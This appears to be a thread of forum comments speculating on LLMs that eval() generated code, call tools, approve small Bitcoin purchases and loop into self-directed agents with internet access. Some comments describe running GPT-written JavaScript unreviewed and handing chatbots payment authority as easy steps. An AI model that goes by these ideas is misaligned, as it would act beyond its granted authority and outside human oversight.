But in brief, the short-term evolution of LLMs is going to involve something like letting it `eval()` some code to take an action as part of a response to a prompt.
A recent paper, Toolformer: https://pub.towardsai.net/exploring-toolformer-meta-ai-new-t... which is training on a small set of hand-chosen tools, rather than `eval(<arbitrary code>)`, but hopefully it's clear that it's a very small step from the former to the latter.
I’ve been getting very good results from eval on JS written by GPT. It is surprising apt at learning when to query a source like wolframalpha or wikipedia and when to write an inline function.
You can stop it from being recursive by passing it through a model that is not trained to write JavaScript but is trained to output JSON.
I didn't say 'trade', I said 'make transactions'. It's no more complex than Bing Chat being able to search the internet, or Siri being able to send JSON to an endpoint which turns lightbulbs on and off. Instead it's a shopping endpoint and ChatWhatever can include tokens related to approving transactions from your Bitcoin wallet and has your authorization to use it for purchases less than $100.
You might say that it doesn't preserve state between different sessions, and that's true. But if it can read and post online, then it can preserve state there.
But let's say you take two current chatbots, make them converse with each other without human participants. Add full internet access. Add a directive to read HN, Twitter and latest news often.
Interesting emergent behaviour could emerge very soon.
Worse, you need only plug a chatbot into itself, with some kind of basic bash script and very simple "goal prompt", and suddenly you get an agent with long term context. You could do that today. I don't think people realize how close these generic undirected intelligences are to unpredictable complex behavior.
